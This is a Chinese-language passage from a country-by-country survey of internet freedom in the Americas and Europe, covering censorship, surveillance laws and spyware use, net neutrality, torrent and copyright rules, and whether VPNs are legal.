《拦截私人通讯特别法》允许政府随意拦截在线通讯，据报道，洪都拉斯购买了至少价值**300,000**英镑（**377,000**美元）的监控设备。借助它，执法机构可以拦截电子邮件和消息传递应用程序。

人们可以使用社交媒体，但是政府会监视你。当前存在网络访问权明显不平等。不过，您仍然可以合法使用VPN。

牙买加

牙买加的宪法规定了言论自由，自由得到普遍尊重。诽谤罪过去曾被判处有期徒刑，但在2013年对法律进行了改革，将其定为非刑事罪。人们在犯罪团伙等话题上会进行自我审查，通常是因为害怕报复。

《拦截通讯法》允许当局监视通讯，但仅在拥有法院授权令的情况下。《国家身份识别和注册法》于2017年颁布，为收集人们个人信息的国家身份识别系统铺平了道路。

牙买加政府支持网络中立，而ISP必须遵守其原则。根据牙买加的《版权法》，侵犯版权的人将面临最高100,000牙买加元（740美元）的罚款或最高两年的监禁。而ISP并没有真正执行它。

墨西哥

墨西哥政府以反毒品战争为借口，加强了监视。根据《联邦电信和广播法》，**ISP**和移动网络必须向当局提供用户的地理位置和元数据。数据必须保存至少两年。

《内部安全法》允许军队进行情报活动。此外，有证据表明，墨西哥已经在监视软件 **Pegasus** 以及一家名为 **Hacking Team**的 公司上花费了大把的金钱。**FinFisher** 监视技术也在墨西哥找到。

联邦电信和广播法规范网络中立。在此基础上，ISP和移动网络不得歧视内容。数据计划对某些服务有好处，但不允许它们阻碍其他服务。

在墨西哥的宪法保障言论自由，但刑事诽谤的法律仍然存在。当局已针对重要报告和帖子发起了诉讼。此外，报道敏感话题的记者和博客作者可能会受到攻击，从而导致自我审查。删帖请求会发送到Facebook 等公司。

洪流大致是合法的。也就是说，版权法主要针对的是出于商业目的侵犯版权的人。

尼加拉瓜

尼加拉瓜的互联网不受限制，但也有媒体遭到审查的事件，一些新闻媒体的网站被关闭。其中大部分是为了控制有关2018年抗议活动的信息。政府还试图控制社交媒体以阻止批评意见。

该国的宪法规定了言论自由，但是记者很难享受宪法权利。政府使用各种方法对媒体进行审查。许多新闻记者因为害怕受到报复威胁或攻击，而进行自我审查。

在尼加拉瓜，网络中立不受法律保护，服务提供商提供了针对某些应用程序的特殊计划。洪流不受限制，也没有针对版权侵权的法律。

巴拿马

言论自由受到巴拿马宪法的保护，但是刑法将诽谤定为犯罪。主要针对记者，处罚包括罚款、监禁或两者并存。抗议期间政府也削减了互联网和手机服务。

关于政府监视通信的报道已经出现，虽然《宪法》第29条规定了隐私。私人通讯只能凭手令进行拦截。

2012年颁布了新的版权法以打击盗版。如果发现任何通过文件共享侵犯版权的行为，将处以最高100000巴拿马巴波亚（$ 100060）的罚款。罚款由版权局保留，版权所有者仍可以起诉。

巴拉圭

巴拉圭的宪法规定了言论自由，公民和新闻记者可以表达自己的想法。但是事实上没有得到充分遵守。来自犯罪集团和腐败当局的威胁和攻击很普遍，这会导致自我审查。

拦截通讯（例如电子邮件）必须获得司法授权。

海盗行为在巴拉圭很普遍。洪流没有任何限制，尽管有版权法，但只打击营利性的盗版。

秘鲁

秘鲁的互联网大部分是自由的，社交媒体不受限制。秘鲁首例反对在线版权侵权的案件在2017年，有三人因经营非法流媒体网站而被捕，随后遭到封锁。2019年，更多非法流媒体网站被封锁。

2016年，秘鲁成为南美第三个赞成网络中立规定的国家。

据报道，秘鲁国家情报局非法监视政客、记者和其他重要人物，并在此过程中访问了存储的信息。

尽管需要司法授权才能拦截通讯，但该法律是宽泛的。另外，第**1182**号法令允许当局在没有司法监督的情况下访问实时位置数据。它还要求电信提供商将用户的通信数据保留三年。

言论自由受宪法保护，但没有得到执行。尽管公民通常可以讨论政治或敏感话题，而不必担心会受到报复，但对于新闻记者来说却并非如此。诽谤是一种刑事犯罪，记者经常因此而受到起诉。另外，他们经常受到威胁、恐吓和攻击。

苏里南

苏里南有相对自由的互联网，没有在线审查的示例，并且可以使用社交媒体。但由于ISP 禁止免费 VoIP服务以防止网络过载，因此存在网络访问权不平等。

苏里南宪法规定言论自由，公民通常可以参与有关敏感的或政治话题的讨论，而不必担心遭到报复。虽然媒体有些时候会发布对政府很重要的新闻，但是诽谤是刑事犯罪，因此一些记者进行自我审查。

在被指控传播谎言并侮辱政客、法官和种族群体之后，名为“ Zeven Even ”的广播节目于2017年被禁止。

没有关于在线监视或惩罚版权材料的报道，该国的版权法不包括在线侵权行为。

美国

言论自由受宪法的保护。网站和在线服务不对用户生成的内容负责，因此通常不会受到影响。但是，对新闻工作者和举报人的惩罚很严重，因此媒体会进行自我审查。

- 对举报人的惩罚 “50年监禁” 《他们如何抓捕说真话的人？灾难和教训》

美国不仅是五眼联盟的一部分，而且在2013年，著名的举报人爱德华·斯诺登（Edward Snowden）透露了美国国家安全局的机密文件，其中显示了大规模监视的惊人证据。

- 在这里看到中文版汇总《互联网霸主的时间线》

自由法案规定了如何访问信息，但是许多法律都与之相抵触或允许进行监视，例如最具争议的《美国爱国者法案》；其他法律包括外国情报监视法第702条和CLOUD法。

美国也发现了 **FinFisher** 监视软件。如果使用某些在线服务，例如 Rackspace 和 Private Internet Access，将把您置于美国管辖范围内。

社交媒体和其他通讯也被监视，名为棱镜的项目致力于从 Google 和 Facebook 等寡头公司收集数据。

网络访问不平等是一场持续不断的斗争，美国在2015年制定了保护网络中立的法律。但是，美国联邦通信委员会在2017年废除了这些法律。有些州正在试图制定自己的法律来保护网络中立。

洪流本身被允许，但是受版权保护的材料则不允许。在线发布内容受1976年版权法的约束。ISP会发送有关侵权的和解通知书。根据联邦法律，所涉及的赔偿总额数额庞大令人恐惧。

委内瑞拉

委内瑞拉多年来一直是重大人权危机的主题，粮食和药品短缺、政治压制也很严重。当局利用惩罚和制造恐惧来控制那些抗议者和异议。许多人因参加抗议活动而死亡或被拘留。

委内瑞拉的互联网自由度也在下降。许多网站和服务已被暂时阻止，包括新闻来源、博客、社交媒体和通讯应用程序。当局可以封锁被认为煽动仇恨或不宽容的任何网站。

许多法律都对言论自由施加了限制。“为和平共处与宽容而制止仇恨”的宪法对任何被视为煽动仇恨的人处以最高**20**年的有期徒刑。对公职人员的诽谤可能会导致监禁。社交媒体用户和记者因其在线活动而面临起诉。

政府进行在线监视，缺乏个人数据保护法规，这意味着如何使用收集到的数据尚不清楚。VPN的使用不受限制，但是匿名浏览工具**Tor** 于**2018**年被一家国有**ISP** 阻止。

没有禁止个人使用洪流的法律，并且在该国洪流是一项常规活动。

—— 欧洲 ——

「图」

欧洲是迄今为止最富裕的大陆，也是最依赖互联网的大陆。欧洲大多数国家/地区都是欧盟成员，这意味着管理互联网的许多规则是相同的。但是也有一些差异，有一些阴暗的东西存在。

阿尔巴尼亚

阿尔巴尼亚人基本上可以享受自由的互联网，社交媒体也自由使用。不过自从全国禁止赌博的规定于2019年1月1日生效以来，ISP被要求阻止本地和国际上的赌博网站。但是目前没有关于互联网监视的报道。

宪法保障言论自由和新闻自由，公民可以不受限制地讨论话题。但是，由于政治压力和对新闻工作者的恐吓事件的发生，媒体中存在自我审查。

此外，该国还提出了两项法律草案来 “规范” 在线媒体。在线法律将允许当局以封锁和罚款制裁在线媒体。许多人担心可能会因此增加阿尔巴尼亚已经存在的审查制度。

奥地利

奥地利当局不会审查互联网内容，社交媒体是自由使用的。

不过2015年，奥地利法院下令当地ISP阻止访问种子网站 The Pirate Bay 和其他所谓的侵权网站。但是这些阻止已被推翻，因此ISP不必强制执行当前的阻止请求，可是您可能会发现某些请求不可用。

2018年该国推出了赋予政府更大监视权的 “安全[维稳]法规”。允许政府能够监视在线通信，包括加密的通信。其中包括诸如 WhatsApp 和 Skype 之类的应用程序。另外，将需要注册SIM卡。

VPN可合法使用。

言论自由受到奥地利宪法的保护，并且得到普遍尊重。不过，奥地利的诽谤法保护政客和政府官员免受诽谤，是欧盟最严厉的法律之一。此外根据刑法典，侮辱国家及其统治者也是刑事犯罪。

媒体受到政府偏爱的影响。批评政府的媒体和记者可能会被限制信息的访问权。内政部长 Herbert Kickl 的发言人撰写的一封电子邮件被泄露，其中显示他要求压制重要的批评声音。

该国禁止新纳粹主义和反犹主义，否认、批准或为大屠杀或相关问题辩解也不允许。仇恨言论也被禁止，并且有计划迫使社交媒体平台和其他服务验证其用户真实身份。这将有助于跟踪用户。

白俄罗斯

白俄罗斯的互联网并非自由。政府封锁了政治和重要网站以及反对派新闻来源。2018年《媒体法》的修正案允许当局对网站和社交媒体进行更多的屏蔽和过滤。可以对政府认为非法的任何东西进行封锁，而无需预先警告或司法监督。

由于担心网站会被关闭，自我审查很常见；此外，法律规定网站所有者应对被认为是虚假、诽谤或损害国家利益的内容负责。

自由言论受到宪法保障，但它被尊重程度明显不足。有些法律瞄准压制批评的声音。记者和博主经常被作为攻击目标、被拘留。

在线监视可以在没有司法监督的情况下进行，政府监视公民以遏制批评的声音。白俄罗斯还使用通讯拦截技术系统**SORM**。ISP必须记录客户至少一年的浏览历史并允许政府访问。

白俄罗斯禁止 **Tor** 和 **VPN**，以阻止人们绕过限制。

比利时

比利时人可以自由上网。仅在包含非法、极端主义或歧视性内容或儿童色情内容的网站上设置了限制。可以使用社交媒体，并且由于比利时是欧盟的一部分，因此必须遵守欧盟的网络中立性规则。

不过法院命令后，海盗湾遭到封锁，域名更改后再次被封锁。其他种子网站也被ISP阻止。下载和共享受版权保护的内容是非法的，但是比利时反盗版联合会更多地关注那些上传和分发此类内容的人。不过VPN可以合法使用。

比利时是 **“14**眼联盟**”** 的一部分，因此监视问题是明确的。尤其是，在**2016**年，政府呼吁采用更具侵入性的监视。该国政府希望ISP与执法机构合作，即使这意味着解密消息也是如此。

言论自由受到比利时宪法的保护，并且受到普遍尊重，但禁止煽动仇恨。

波黑

在波黑没有已知的网站或社交媒体平台被封锁的报道。在该国关于在线监视的信息很少，但是，一份报告显示了多个监视实例，其中包括监视在线通信。

言论自由得到保障，但在实践中受到限制。2017年，对《刑法》进行了修订，将仇恨言论定义为犯罪行为。这导致了自我审查。另外，记者们面临骚扰和威胁，这会影响他们的报道。但是，有组织犯罪和腐败报道项目OCCRP设在萨拉热窝，暂时没有受到骚扰。

保加利亚

保加利亚的互联网大部分是自由的，只有无牌照的赌博网站被封锁。该国具有可靠的法律框架来保护个人隐私，但是，政府试图引入更多的权力来控制在线世界，而ISP为政府提供了对所有互联网流量的实时访问。

保加利亚的版权法指出，侵犯版权的人应承担刑事责任，但并非涵盖所有在线侵权，法律的执行力也很弱，通常针对那些上传或从受版权保护的资料中获利的人。不过，您可以合法使用VPN。

保加利亚的宪法保障言论自由，公民可以公开讨论敏感话题。不过，如果报道某些主题，记者仍然可能会面临威胁。

克罗地亚

克罗地亚的互联网仍然自由，社交媒体上没有障碍。盗版内容和VPN都是合法使用的。此外，没有可靠的在线监视报告。

克罗地亚的宪法保障言论自由，公民可以进行敏感的讨论而不必担心遭到报复。不过仍然有一些限制。

仇恨言论最高可判处五年徒刑，侮辱克罗地亚、国徽、国歌或国旗可能会导致最高三年监禁。记者面临骚扰，有时也会遭到袭击。

塞浦路斯

除了非法赌博网站，塞浦路斯的互联网没有明显的限制。

尽管没有太多有关在线监视的信息曝光，但是，已经提出了向当局授予更厉害的监视工具的法律。另外，斯诺登（**Snowden**）的揭露显示，英美联合资助的监视行动就位于此地。

该国宪法保障言论自由和人民能够无惧讨论政治或其他敏感问题的权利。媒体经常可以批评当局。

土耳其人占领的塞浦路斯遵守土耳其法律，尽管言论自由通常不受限制，但是侮辱土耳其可能会给您带来麻烦。记者有时会因为报道的主题而面临威胁，但是许多媒体仍在发布重要报告。

捷克

捷克共和国的互联网大部分是自由的，只有在未经许可的投注网站上放置了拦截。社交媒体也可以自由使用。

洪流不是非法的，下载受版权保护的内容的人通常都没有被抓捕。但是，共享此类内容的人可能会遇到麻烦，这是审查的一部分。

在这里您可以合法使用VPN。

监视的确存在，但大多数监视是物理监视而不是在线监视。仅在法院批准的情况下，才允许拦截消息和电子邮件。公民实验室报告说，在该国发现了使用**FinSpy**监视技术的证据。

捷克法律规定了言论自由，但也有例外。不允许发表所谓的仇恨言论、还包括否认大屠杀以及否认共产主义时代的罪行的言论。尽管如此，个人仍可以讨论政治或敏感话题，而不必担心遭到报复。不过，有些时候用户可能在社交媒体上因看似无辜的言论而被封锁。

丹麦

丹麦的互联网是自由的，限制仅限于儿童色情制品和洪流网站，例如The Pirate Bay。言论自由受到保护。个人和媒体都可以发表政治见解和批评政府的观点，而不必担心遭到报复。

丹麦国防情报局可以以收集外国情报目的拦截信息，只要能证明是应对外国情报。

丹麦当局允许将监视技术出售给阿拉伯国家政府。它被视为有助于打击恐怖主义，但是这些技术将使购买国家能够监视其全部人口。尤其是，丹麦是“**9**眼联盟”的一部分，很明显人们应该知道政府在进行何

种监视。

- 关于出售侵入性监视技术出口的综合性报告，见 列表-4 板块“协助暴政的家伙们”

爱沙尼亚

爱沙尼亚尊重互联网自由，通常不限制内容。但是赌博法要求国内外赌博网站必须获得许可否则会受到限制。

公民的隐私权受到各种法律的保护，情报机构可以受到监督以确保其符合宪法和其他法规。在大多数情况下，进行监视是为了密切关注与毒品有关的活动和有组织犯罪。但是，在该国也发现了**FinFisher** 监视技术。

爱沙尼亚的宪法保护言论自由，公民可以毫无恐惧地讨论敏感话题。限制仅适用于仇恨言论和歧视，根据刑法，这两种行为均会受到惩罚。

法国

在法国，网站不会因政治原因而被封锁，社交媒体可以自由使用。不过，自2015年巴黎恐怖袭击以来，审查制度有所增加，包含与恐怖主义或儿童色情内容有关的网站被封锁。

一个黑名单列出了所有这类网站，已经被要求删除的内容。如果在24小时内删除内容的结果不符合要求，当局可以通过ISP阻止整个网站。

根据法国反盗版法，下载受版权保护内容的用户会收到警告。那些经常违反规则的人将被禁止上网。话虽如此，流媒体盗版内容的增长趋势已经使执法变得更加困难。

洪流网站可能会被封锁，法国正在继续打击海盗。

据报道，法国对欧盟网络中立性法规的遵守要比欧盟中任何其他国家都要好。

在有争议的监视法于**2015**年生效后，法国的监视能力得到了提高。它命令ISP将用户数据保留一年，并对任何被认为可疑的用户进行监视。在线通信也可以被拦截。

该国还创建了一个包含个人信息的非法法国公民数据库。另外不要忘了，法国是九眼联盟的一部分。

言论自由在法国宪法中受到保护，个人可以毫无顾虑地进行敏感话题的讨论。媒体自由运作，并就政治问题进行广泛的报道。

芬兰

除了过滤儿童色情类内容外，芬兰的互联网基本是自由的。但是，过滤器并非没有问题，并且一些无辜的站点被捕获。洪流网站也受限制。

议会通过了两项监视法，扩大了军事和民用情报机构的间谍能力。如果认为某人“对国家安全构成威胁”，当局就可以通过包括窃听在线通信和破坏内容加密等方法来拦截电话和网络数据。

芬兰宪法第12条保护言论自由。公民能够公开讨论话题，媒体基本不受政治压力或审查制度的影响。

德国

德国的在线审查很少，但是在某些情况下当局可以阻止内容。该国禁止称赞纳粹主义的内容、否认大屠杀是刑事犯罪。

甚至可以从**Google**的搜索结果中屏蔽此类内容。

言论自由在德国宪法中受到保护，但根据德国刑法，某些言论是非法的。一个例子是诽谤国家及其标志，违者将被处以罚款或监禁。

2017年通过了一项名为 **NetzDG** 的反仇恨言论规则，该规则命令社交媒体平台从其网站中删除非法内容，否则将面临被高额罚款的风险。人们担心这限制了言论自由。据报道，记者也因报道敏感话题而受到攻击。

在德国下载受版权保护的材料是违法的，可以处以罚款或监禁。政府监视种子的传播，通过记录其IP地址来捕获那些违法的种子。某些种子网站也可能被阻止。但是，使用VPN是合法的。

德国拥有良好的数据保护法律，但其情报机构已与**NSA** 合作。它还收集了数以百万计的元数据集，其中包含有关在线通讯和其他个人数据的信息。

德国是用户数据最活跃的请求者之一。德国也是14眼成员，并且 **FinFisher** 也存在于德国。

希腊

希腊公民享受开放的互联网和社交媒体。唯一的障碍在未经许可的赌博网站和洪流网站上。下载和共享受版权保护的内容在该国是非法的，但没有强制执行。

尽管没有可靠的在线监视报告，但是也没有任何保护措施，这意味着当局在法律层面上有能力对互联网通信进行监视。

希腊宪法规定言论自由，但有有些法律惩罚因种族或族裔而对他人的歧视、以及所谓的仇恨和暴力。诽谤、侮辱总统、冒犯宗教和任何淫亵行为都可能会受到罚款、监禁或两者兼有的刑事处罚。

匈牙利

匈牙利的互联网在很大程度上不受限制，社交媒体不受限制。但是否认大屠杀是违法的，包含此类材料的网站将被封锁。如果未经授权，则在线赌博网站也是非法的，并可能遭到封锁。

间谍软件公司 **Hacking Team** 在**2015**年泄漏的文件表明，匈牙利政府是其客户。据报道，政府机构和执法部门与这个最臭名昭著的监视公司有联系，并参观了监视贸易展览。此外公民实验室将其列为使用**FinFisher**的国家之一。

2016年颁布的所谓反恐法扩大了当局对加密内容（包括在线消息）的监视权限。ISP必须允许政府访问用户私密数据。用户的数据和消息也必须存储长达一年。被监视的个人数据可以包括位置、电话号码、**IP**地址和用户**ID**。

言论自由受匈牙利宪法的保护，但有其局限性。根据第9.2条，禁止侮辱种族、宗教社区或匈牙利民族。根据刑法，禁止诽谤、侮辱民族符号、散布极权主义符号、以及否认纳粹主义的罪行。

媒体存在自我审查，但是许多新闻机构仍然发布批评政府和公职人员的内容，即使面临受到惩罚的威胁。

冰岛

冰岛的互联网和社交媒体是自由的。存在一点限制，针对的是儿童色

情制品和洪流网站。色情在冰岛是违法的，但是禁止在网上实施封锁。该国尊重网络中立性，并且有强有力的立法保护公民的在线活动。

冰岛法律规定，必须公平地收集数据，同时还必须征得被收集者的同意。

VPN的使用是合法的，VPN提供商 cryptostorm 起源于冰岛。

在冰岛现代传媒倡议进一步保护言论自由，它也保护了记者和举报人，这使得冰岛成为许多吹哨人的避风港。尽管有适当的保护措施，但是诽谤和侮辱是刑事犯罪，可能导致罚款或长达一年的监禁。

爱尔兰

爱尔兰政府过去曾考虑采用互联网过滤来删除令人反感的非法材料。2013年，爱尔兰互联网服务提供商协会（Internet Service Providers'Association of Ireland）表示，互联网服务提供商不应成为互联网内容的审查者。不过，这种情况将来可能会改变。

2018年的法院裁决命令ISP阻止涉及非法共享受版权保护文件的网站。VPN的使用是合法的，但是故意侵犯版权可能会导致您与宽带服务断开连接。

一些法律允许当局可以截获您的在线通信，只要声称“打击严重犯罪保护国家安全”，但对于如何使用这些拦截技术知之甚少，而且大多数情况下都可以在没有司法监督的情况下进行。

2015年泄漏的电子邮件表明，爱尔兰国防军一直在与间谍软件提供商 **Hacking Team** 进行对话。从2012年到2015年，该国情报机构一直在与这家间谍软件公司进行沟通，但该情报机构声称没有购买任何东西。

意大利

意大利人基本可享受自由的互联网，除了与虐待儿童，赌博和恐怖主义有关的内容外，没有其他内容受到阻止。

不过，政府发出了对所谓的诽谤性内容和仇恨言论的删除要求。意大利于2015年发布了《互联网权利宣言》，该宣言促进了网络中立性。

公民通常可以毫无顾虑地讨论敏感和政治问题。但是诽谤是刑事犯

罪，严重的诽谤可能导致长达三年的监禁，以及至少**516**欧元（**580**美元）的罚款。那些讨论有组织犯罪活动的人也有可能遭到报复。许多作家为了避免问题而进行自我审查。

国会于2017年批准了一项授权政府使用恶意软件进行黑客攻击的法律。情报机构可以利用该法律拦截个人通讯。电信运营商需要将互联网数据存储长达六年。意大利也是14 眼联盟的一部分。

在线版权执法受通信管理局（Communications Regulatory Authority）的监管，互联网或托管服务提供商必须删除侵权内容或阻止侵权网站。但是，VPN合法使用。

科索沃

科索沃的互联网是基本自由的，没有内容限制。邮政和电子通信监管局批准了新法规，以确保ISP和移动服务的网络中立性。

尽管在科索沃有关监视的信息很少，但是，2014 年该国批准了《电信截接法》。该法允许当局在没有司法监督的情况下访问实时通信数据和地理位置数据。还包括强制性数据保留，要求**ISP**将数据保留至少**12**个月。

科索沃的宪法保障言论自由，个人能够自由表达自己的观点而不必担心受到惩罚。话虽如此，新闻记者已经被报道遭受骚扰和恐吓的现象，这导致许多人被迫自我审查。

拉脱维亚

尽管拉脱维亚的在线世界大部分都是自由的，但除非获得批准才能在该国运营，否则国际在线赌博网站仍会受到封锁。ISP必须将试图与此类运营商开展业务的公民的姓名交给当局。被捕者将面临最高350欧元的罚款。

没有可靠的报告表明洪流网站已被阻止，但是自从新法律于2019年1月生效以来，**ISP**必须阻止未经许可的流媒体网站。但是使用VPN是合法的。

关于政府监视的报道不多，但是拉脱维亚是检测到使用间谍软件**FinFisher**的国家之一。

言论自由受到拉脱维亚宪法的保护，公民可以公开自由地讨论话题。话虽如此，诽谤仍然是刑事犯罪，媒体会受到政府的影响。

立陶宛

立陶宛的互联网几乎没有受到限制。不过2016年《博彩法》修正案允许博彩管制局下令禁止未经许可经营的博彩网站。

该国有许多种子网站，一项调查显示，个人使用的种子下载流媒体在很大程度上是没问题的。

言论自由受到尊重，没有可靠的监视报告。话虽如此，但有一些实例表明有可能存在大规模监视。目前使用VPN是合法的。

卢森堡

卢森堡人可享受自由的互联网服务，也没有关于政府强制实行审查制度或社交媒体被封锁的报道。

该国对网络中立有自己的保护，但也受欧盟法规的约束。没有关于洪流网站被阻止或其他强制措施正在执行的报告，并且VPN合法使用。

尽管该国没有太多有关在线监视的信息，但是，**Hacking Team** 泄漏的电子邮件和文件表明，卢森堡当局是该监视技术公司的客户之一。

卢森堡的宪法保障言论自由，并受到普遍尊重。公民可以在政治观点或敏感话题上表达个人意见。

马耳他

马耳他政府不对互联网进行审查或限制，社交媒体自由使用。没有关于洪流网站被阻止的报告，但是侵犯版权者将被罚款。如果从侵权中获利，则处罚将增加至最高一年的监禁或罚款，或两者并罚。

没有政府进行在线监视的可靠报告，VPN合法使用。

马耳他宪法保障言论自由，但在，某些情况下言论自由受到限制，批评政府的人遭到报复。最著名的就是马耳他记者 **Daphne Caruana** 被暗杀的惊人事件，一度轰动全球，在下面看到。

- 《强权能杀死记者，但无法杀死新闻—— 2018 新报告出台，为什么全球新闻自由指数仍在下降？》
- 《大部分审查并非如你平日的吐槽对象那般显而易见—— 为自由而战（二）》

该国法律禁止基于多种理由的煽动仇恨行为。调查政治腐败的记者可能会面临人身威胁，许多人面临诽谤诉讼。

摩尔多瓦

摩尔多瓦的互联网是基本自由的，公民可以讨论敏感的或政治性的话题，但是，许多人担心对政府的批评可能会影响自己的就业和职业前景。

记者经常受到政府官员的压力，这导致了自我审查。

情报部门被授权对互联网进行监视以帮助防止违法行为。但只有在法院授权的情况下才可以。许多记者怀疑自己正在受到监视。

没有关于阻止盗版或洪流网站的确认报告，VPN合法使用。

荷兰

在荷兰，政府除了限制洪流网站 The Pirate Bay 之外，没有限制或审查互联网的记录。下载受版权保护的内容供个人使用是合法的，但是在2014年开始被禁止。使用社交媒体是自由的，并且您也可以合法使用VPN。

荷兰必须遵守欧盟的网络中立法规，而且它也是第一个实施自己的网络中立法规的国家。

《情报和安全服务法》允许情报机构拦截互联网流量，保留数据并与其他情报机构共享收集的信息，该法案于2018年3月被投票反对，但该法案仍然于2018年5月生效。

荷兰是“九眼联盟”的一部分，在荷兰也找到了使用**FinFisher**的证据。

除了仇恨言论以外，言论自由不受限制，仇恨被认为是刑事犯罪。尽管这些法律通常被认为是一纸空文。

马其顿

马其顿的互联网是基本自由的，但外国赌博网站可能会被封锁。在线盗版非常丰富，该国正在采取行动打击盗版。

前政府被指控进行广泛的监视，但是没有可靠的报告表明现任政府正

在进行监视。

马其顿的宪法承诺言论自由，但并不总是被尊重。当局禁止发表仇恨言论，违者可能受到处罚。记者可能会受到政治攻击和人身攻击。

挪威

挪威拥有开放的互联网，对内容的限制很少。限制集中在诸如儿童色情和洪流网站之类的东西上。但是，法律的宽泛定义可能导致某些无辜的网站被封锁。挪威法律保护网络中立性，该国有对市场的监督以确保服务合规。

挪威为个人隐私提供了强有力的保护，例如数据保护局。该国的高度隐私等级使其成为 Jottacloud 等云服务的首选。

挪威建立了一个监视基地，声称帮助海外部队和打击恐怖主义。但是已经有证据显示它保留了普通公民交流的记录，并与美国的**NSA**合作。不要忘了挪威是九眼联盟的一部分。

波兰

尽管波兰的互联网大部分是自由的，但其反恐法和监视法律允许当局封锁网站。这些法律于2016年推出，其中的宽泛定义使政府可以秘密监视任何想要的人。

波兰宪法保障言论自由，人们可以自由地讨论政治或敏感问题。但是，诽谤是刑事犯罪，并且有一系列反对侮辱的法律。例如，侮辱总统可能会导致您获得最高三年的刑期。声称波兰卷入了大屠杀期间的罪行也是非法的。

允许洪流，没有法律禁止下载受版权保护的材料供个人使用。您也可以合法使用VPN。

葡萄牙

葡萄牙的互联网大部分是自由的，社交媒体不受限制。该国仅对赌博网站和侵犯版权的网站实施封锁。政府的反盗版计划正在与侵犯版权的网站作斗争。

没有在线监视的报告。

由于葡萄牙是欧盟成员国，因此理应遵守《欧洲网络中立规定》。在

2018年，国家通信管理局发现ISP违反了规则，并发布了通知，给予他们40天的时间更改其提供的计划。

葡萄牙宪法保障言论自由，对个人意见或讨论没有重大限制。但是诽谤依旧是刑事犯罪。不过起诉并不常见，而且在许多情况下，欧洲人权法院已裁定原始判决无效。

最著名的案件之一是前警察 Goncalo Amaral 的案子。他在一本书中宣布，英国儿童玛德琳·麦肯的父母参与了她的失踪案，因此，他被以诽谤罪名处以巨额罚款。但是，这个决定最后被推翻了。

罗马尼亚

罗马尼亚的互联网是相对自由的，但当局控制赌博网站的法律于2015年生效。许多洪流站点均被封锁。尽管有版权法实施，但该法律的优先级较低。而且VPN合法使用。

尽管罗马尼亚有可靠的立法来保护数据，但是，其情报机构的权力却因不同的监视建议而有所提高。

言论自由是由罗马尼亚宪法所保护的。人们可以说出自己的想法而不必担心遭到报复。不过媒体可能会被具有政治动机的力量所扭曲，而有时警察和政治人物会吓倒记者。

塞尔维亚

除了赌博网站之外，塞尔维亚的互联网基本自由。不过，政府可以在关键网站上强加封锁。对于例如，在2014年的特大洪涝灾害后，很多网站批评政府处理这场灾难的方式，导致被封锁。另外，一些人因被指“散布虚假消息和引起恐慌”而被拘留。

塞尔维亚是一个盗版天堂，如果您只是将版权材料供个人使用的话。VPN也合法使用。

在塞尔维亚，有关在线监视的信息很少，但是，该国已经被列为使用 **FinFisher** 间谍软件的国家之一。

该国宪法保护言论自由和个人自由，可以私下讨论敏感话题。但是，许多记者面临政治压力，这影响了他们的报道。另外，重要的记者和其他声音也面临人格暗杀和抹黑运动、恐吓和人身攻击。这导致了很高的自我审查率。

- 《人格暗杀和抹黑运动：谁在受益？》

斯洛伐克

斯洛伐克人享受自由上网，审查只针对未经许可的赌博网站。社交媒体或其他应用程序上没有障碍。

尽管种子下载不是非法的，但是共享这些内容可能会导致您入狱。但是，VPN可以合法使用。

《电子通信法》的规定要求移动网络提供商跟踪通信，而《警察法》则允许警察访问该数据。2015年，斯洛伐克宪法法院裁定，大规模监视违反宪法，使这些规定无效。

斯洛伐克宪法保护言论自由，人们可以自由地讨论政治或敏感话题。话虽如此，记者们承受着政治压力，而那些调查腐败的人则说他们感到不安全。一名正在调查腐败和税务欺诈案件的记者及其未婚妻于2018年被谋杀。而警方却表示，他的谋杀与他的工作有关。

斯洛文尼亚

斯洛文尼亚的互联网没有任何审查，可以访问社交媒体。另外，没有可靠的报告显示正在进行在线监视。

言论自由得到宪法保障，个人可以表达自己的意见而不必担心受到惩罚。不过，诽谤仍然是刑事犯罪，可能使您被处以罚款、监禁或两者兼而有之。而记者面临骚扰和威胁。

西班牙

西班牙的互联网大多不受限制，并且可以使用社交媒体。但是，政府不同意的政治内容可能会被封锁，例如支持加泰罗尼亚独立公投的观点。

在西班牙，侵犯版权材料是非法的。根据政府在2011年推出的反盗版政策，当局可以阻止任何违规网站。因此，某些洪流网站可能会被阻止。自2015年以来，海盗湾一直被封锁。但西班牙仍然是欧洲下载盗版内容最多的国家之一。

据报道，2013年斯诺登（Snowden）的曝光包含西班牙当局拥有大规模的在线监视能力。该报告揭示了西班牙国家情报中心与为其提供设备的英国电信公司之间的关系。另外，西班牙也是14眼联盟的一部

分。

西班牙宪法保障言论自由，但是，禁止 *政府认为的* 夸大的或支持恐怖主义的内容，并且发现很多人因此被惩罚，包括社交媒体用户。针对宗教、种族、民族或其他群体的仇恨言论最高可判处三年监禁。

瑞典

瑞典政府在尊重自由方面有着悠久的历史，并且在网络世界中一直在延续。瑞典互联网是自由的，仅限制儿童色情内容和侵犯版权的内容。

瑞典也是最大的盗版内容消费者之一，但瑞典顶级ISP之一被当局勒令提供那些违反版权法的人的详细信息。

此外，Spridningskollen 计划使用软件来检查您是否正在下载受版权保护的材料，并允许娱乐公司从互联网服务提供商那里获取个人数据，而无需法院传票。那些被抓到的人会因违规而被罚款250美元。但是VPN合法使用。例如，Mullvad 总部位于瑞典。

在斯诺登（Snowden）的揭露中，唯一的“国防情报活动信号监视法”允许监视互联网流量以对抗外部威胁，但必须获得法院授权。

2012 年通过了另一部法律，其中规定了警察监视电话和互联网活动的方式和时间。瑞典也是**14** 眼联盟的一部分。

言论自由受到保护，但仇恨言论，包括威胁，是不被接受的。被判有罪者将被处以罚款或最高四年的监禁。

瑞士

瑞士是互联网自由和隐私的大国。社交媒体也自由，并且唯一被阻止的网站是无牌照的赌博网站。尊重网络中立性。瑞士已经为其制定了一套规则，服务提供商也同意强有力的行为准则。

只要供私人使用，下载或流式传输受版权保护的内容都是完全合法的。但是，视频游戏和软件不包括在内，并且禁止上传或共享此类材料，这意味着不允许对其进行种子式发布。ISP并没有被迫阻止访问海盗网站，而且您可以在瑞士合法使用VPN。

在瑞士宪法和联邦法律都保障公民的隐私权和个人数据的安全。未经主体或法律同意，不得处理个人数据，未经许可，不得将数据传递给

第三方。可以肯定地说，瑞士没有未经授权的监听。

瑞士强大的隐私法吸引了一些云服务在此立足。云存储公司 Tresorit 和 pCloud 以及VPN服务 ProtonVPN 都位于该国。

言论自由是瑞士法律所规定的，个人能够表达自己的意见而不必担心遭到报复。但是，如果被认为是煽动种族仇恨或歧视以及否认危害人类罪的言论，将受到惩罚。

乌克兰

乌克兰的在线审查受到与俄罗斯之间持续不断的冲突的影响。

